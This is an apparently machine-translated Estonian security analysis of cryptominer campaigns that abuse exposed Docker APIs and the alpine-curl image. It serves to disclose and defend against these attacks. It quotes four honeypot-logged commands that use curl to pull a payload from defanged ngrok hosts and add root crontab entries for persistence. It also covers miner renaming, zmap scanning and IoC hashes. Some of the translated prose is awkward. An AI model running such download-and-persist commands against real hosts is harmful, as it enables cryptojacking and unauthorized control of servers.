Kuidas kasutatakse mitteprivaatset Dockeri API-d ja kogukonna avalikke pilte krüptoraha kaevandajate levitamiseks

Kuidas kasutatakse mitteprivaatset Dockeri API-d ja kogukonna avalikke pilte krüptoraha kaevandajate levitamiseks

Analüüsisime meepotikonteinerite abil kogutud andmeid, mille lõime ohtude jälgimiseks. Ja tuvastasime märkimisväärse tegevuse soovimatute või volitamata krüptovaluuta kaevandajate poolt, kes kasutasid Docker Hubis kogukonna avaldatud pilti võltskonteineritena. Pilti kasutatakse osana teenusest, mis pakub pahatahtlikke krüptovaluutakaevureid.

Lisaks on installitud võrkudega töötamiseks mõeldud programmid, et tungida avatud naaberkonteinerite ja rakenduste sisse.

Jätame oma meepotid nii nagu on, st vaikesätetega, ilma igasuguste turvameetmeteta või hilisema lisatarkvara installimiseta. Pange tähele, et Dockeril on soovitused esialgseks seadistamiseks, et vältida vigu ja lihtsaid turvaauke. Kuid kasutatavad meepotid on konteinerid, mis on loodud konteineriplatvormi, mitte konteinerite sees olevate rakenduste vastu suunatud rünnakute tuvastamiseks.

Avastatud pahatahtlik tegevus on tähelepanuväärne ka seetõttu, et see ei nõua turvaauke ja on samuti Dockeri versioonist sõltumatu. Valesti konfigureeritud ja seetõttu avatud konteineri kujutise leidmine on ainus, mida ründajad vajavad paljude avatud serverite nakatamiseks.

Sulgemata Dockeri API võimaldab kasutajal teha mitmesuguseid toiminguid meeskonnad, sealhulgas töötavate konteinerite loendi hankimine, logide hankimine konkreetsest konteinerist, käivitamine, peatamine (sealhulgas sunnitud) ja isegi uue konteineri loomine konkreetsest pildist koos määratud sätetega.

Kuidas kasutatakse mitteprivaatset Dockeri API-d ja kogukonna avalikke pilte krüptoraha kaevandajate levitamiseks
Vasakul on pahavara edastamise viis. Paremal on ründaja keskkond, mis võimaldab piltide kaugjuurdepääsu.

Kuidas kasutatakse mitteprivaatset Dockeri API-d ja kogukonna avalikke pilte krüptoraha kaevandajate levitamiseks
3762 avatud Dockeri API jaotus riigiti. Põhineb Shodani otsingul 12.02.2019

Rünnakeketi ja kandevõime valikud

Pahatahtlikku tegevust ei tuvastatud mitte ainult meepottide abil. Shodani andmed näitavad, et avatud Dockeri API-de arv (vt teist graafikut) on suurenenud pärast seda, kui uurisime valesti konfigureeritud konteinerit, mida kasutati sillana Monero krüptovaluuta kaevandamise tarkvara juurutamiseks. Eelmise aasta oktoobris (2018, jooksvad andmed sa võid välja näha selline u. tõlkija) oli ainult 856 avatud API-d.

Meepoti logide uurimine näitas, et konteineri kujutiste kasutamine oli seotud ka kasutamisega ngrok, tööriist turvaliste ühenduste loomiseks või liikluse edastamiseks avalikult juurdepääsetavatest punktidest määratud aadressidele või ressurssidele (nt localhost). See võimaldab ründajatel dünaamiliselt luua URL-e, kui nad edastavad kasuliku koormuse avatud serverisse. Allpool on koodinäited logidest, mis näitavad ngrok-teenuse kuritarvitamist:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Nagu näete, laaditakse üleslaaditud failid alla pidevalt muutuvatelt URL-idelt. Nendel URL-idel on lühike aegumiskuupäev, seega ei saa kasulikke koormusi pärast aegumiskuupäeva alla laadida.

Kasuliku koormuse valikuid on kaks. Esimene neist on Linuxi jaoks kompileeritud ELF-kaevur (defineeritud kui Coinminer.SH.MALXMR.ATNO), mis ühendub kaevandusbasseiniga. Teine on skript (TrojanSpy.SH.ZNETMAP.A), mis on loodud teatud võrgutööriistade hankimiseks, mida kasutatakse võrguvahemike skannimiseks ja seejärel uute sihtmärkide otsimiseks.

Tilguti skript määrab kaks muutujat, mida seejärel kasutatakse krüptovaluuta kaevandaja juurutamiseks. Muutuja HOST sisaldab URL-i, kus pahatahtlikud failid asuvad, ja RIP-muutuja on juurutatava kaevandaja failinimi (tegelikult räsi). Muutuja HOST muutub iga kord, kui räsimuutuja muutub. Skript püüab ka kontrollida, et rünnatud serveris ei töötaks ühtegi teist krüptoraha kaevandajat.

Kuidas kasutatakse mitteprivaatset Dockeri API-d ja kogukonna avalikke pilte krüptoraha kaevandajate levitamiseks
Näited muutujatest HOST ja RIP, samuti koodilõik, mida kasutatakse kontrollimaks, et ükski teine ​​kaevur ei tööta

Enne kaevandaja käivitamist nimetatakse see ümber nginxiks. Selle skripti muud versioonid nimetavad kaevandaja ümber muudeks seaduslikeks teenusteks, mis võivad Linuxi keskkondades olemas olla. Tavaliselt piisab sellest, et vältida töötavate protsesside loendi kontrollimist.

Otsinguskriptil on ka funktsioone. See töötab vajalike tööriistade juurutamiseks sama URL-i teenusega. Nende hulgas on kahendfail zmap, mida kasutatakse võrkude skannimiseks ja avatud portide loendi hankimiseks. Skript laadib ka teise binaarfaili, mida kasutatakse leitud teenustega suhtlemiseks ja nendelt bännerite vastuvõtmiseks, et määrata leitud teenuse (näiteks selle versiooni) kohta lisateavet.

Skript määrab eelnevalt ka mõned skannitavad võrguvahemikud, kuid see sõltub skripti versioonist. Samuti määrab see enne skannimise käivitamist teenuste – antud juhul Dockeri – sihtpordid.

Niipea kui võimalikud sihtmärgid leitakse, eemaldatakse nendelt bännerid automaatselt. Skript filtreerib ka sihtmärke sõltuvalt huvipakkuvatest teenustest, rakendustest, komponentidest või platvormidest: Redis, Jenkins, Drupal, MODX, Kubernetes meister, Docker 1.16 klient ja Apache CouchDB. Kui skannitud server ühtib mõnega neist, salvestatakse see tekstifaili, mida ründajad saavad hiljem kasutada hilisemaks analüüsiks ja häkkimiseks. Need tekstifailid laaditakse dünaamiliste linkide kaudu üles ründajate serveritesse. See tähendab, et iga faili jaoks kasutatakse eraldi URL-i, mis tähendab, et edasine juurdepääs on keeruline.

Rünnakuvektor on Dockeri kujutis, nagu on näha kahest järgmisest koodiosast.

Kuidas kasutatakse mitteprivaatset Dockeri API-d ja kogukonna avalikke pilte krüptoraha kaevandajate levitamiseks
Ülaosas on ümbernimetamine seaduslikuks teenuseks ja allosas on see, kuidas zmapi kasutatakse võrkude skannimiseks

Kuidas kasutatakse mitteprivaatset Dockeri API-d ja kogukonna avalikke pilte krüptoraha kaevandajate levitamiseks
Ülaosas on eelnevalt määratletud võrguvahemikud, allosas on konkreetsed pordid teenuste, sealhulgas Dockeri otsimiseks

Kuidas kasutatakse mitteprivaatset Dockeri API-d ja kogukonna avalikke pilte krüptoraha kaevandajate levitamiseks
Ekraanipilt näitab, et alpi-lokki pilti on alla laaditud rohkem kui 10 miljonit korda

Tuginedes Alpine Linuxile ja curlile, mis on ressursitõhus CLI tööriist failide ülekandmiseks erinevate protokollide kaudu, saate luua Dockeri pilt. Nagu eelmisel pildil näha, on seda pilti alla laaditud juba üle 10 miljoni korra. Suur allalaadimiste arv võib tähendada selle pildi kasutamist sisestuspunktina; seda pilti värskendati rohkem kui kuus kuud tagasi; kasutajad ei laadinud sellest hoidlast teisi pilte nii sageli alla. Dockeris sisenemispunkt - juhiste komplekt, mida kasutatakse konteineri konfigureerimiseks selle käitamiseks. Kui sisestuspunkti seaded on valed (näiteks konteiner jäetakse internetist lahti), saab pilti kasutada ründevektorina. Ründajad saavad seda kasutada kasuliku koorma kohaletoimetamiseks, kui nad leiavad valesti konfigureeritud või avatud konteineri, mida ei toetata.

Oluline on märkida, et see pilt (alpine-curl) ise ei ole pahatahtlik, kuid nagu ülalt näha, saab seda kasutada pahatahtlike funktsioonide täitmiseks. Sarnaseid Dockeri pilte saab kasutada ka pahatahtlike toimingute tegemiseks. Võtsime Dockeriga ühendust ja tegime nendega selles küsimuses koostööd.

Soovitused

Vale seadistus jäänused pidev probleem paljudele ettevõtetele, eriti nendele, kes seda rakendavad DevOps, mis on keskendunud kiirele arengule ja tarnimisele. Kõike raskendab vajadus järgida auditeerimis- ja järelevalvereegleid, vajadus jälgida andmete konfidentsiaalsust, aga ka nende mittejärgimisest tulenev tohutu kahju. Turbeautomaatika kaasamine arenduse elutsüklisse mitte ainult ei aita teil leida turvaauke, mis muidu võiksid avastamata jääda, vaid aitab teil ka vähendada tarbetut töökoormust, näiteks käivitada pärast rakenduse juurutamist iga avastatud haavatavuse või vale konfiguratsiooni jaoks täiendavaid tarkvaraversioone.

Käesolevas artiklis käsitletud juhtum rõhutab vajadust võtta algusest peale arvesse ohutust, sealhulgas järgmisi soovitusi:

  • Süsteemiadministraatoritele ja arendajatele: kontrollige alati oma API sätteid ja veenduge, et kõik on seadistatud vastu võtma ainult konkreetse serveri või sisevõrgu päringuid.
  • Järgige vähimate õiguste põhimõtet: tagage konteineri kujutiste allkirjastamine ja kontrollimine, piirake juurdepääsu kriitilistele komponentidele (konteineri käivitamise teenus) ja lisage võrguühendustele krüpteering.
  • Jälgi soovitusi ja võimaldama turvamehhanisme, nt. Dockerilt ja sisseehitatud turvaelemendid.
  • Kasutage käitusaegade ja piltide automaatset skannimist, et hankida konteineris töötavate protsesside kohta lisateavet (nt võltsimise tuvastamiseks või haavatavuste otsimiseks). Rakenduste juhtimine ja terviklikkuse jälgimine aitavad jälgida serverite, failide ja süsteemialade ebatavalisi muutusi.

Trendmicro aitab DevOpsi meeskondadel turvaliselt ehitada, kiiresti levitada ja kõikjal käivitada. Trend Micro Hübriidpilveturve Pakub võimsat, sujuvamat ja automatiseeritud turvalisust kogu organisatsiooni DevOpsi torujuhtmes ning pakub mitmeid ohukaitsevahendeid XGen füüsilise, virtuaalse ja pilve töökoormuse kaitsmiseks käitusajal. See lisab ka konteineri turvalisust Sügav turvalisus и Deep Security Smart Check, mis skannivad Dockeri konteineri kujutisi pahavara ja haavatavuste suhtes arendusprotsessi mis tahes punktis, et ennetada ohte enne nende juurutamist.

Kompromissi märgid

Seotud räsid:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Edasi Dockeri videokursus Harjutavad kõlarid näitavad, millised seadistused tuleb kõigepealt teha, et minimeerida tõenäosust või täielikult vältida ülalkirjeldatud olukorra tekkimist. Ja 19.-21.augustil online intensiivil DevOpsi tööriistad ja pettused Neid ja sarnaseid turvaprobleeme saab kolleegide ja praktiseerivate õpetajatega arutada ümarlauas, kus kõik saavad kaasa rääkida ja kuulata kogenud kolleegide valusid ja kordaminekuid.

Allikas: www.habr.com

Lisa kommentaar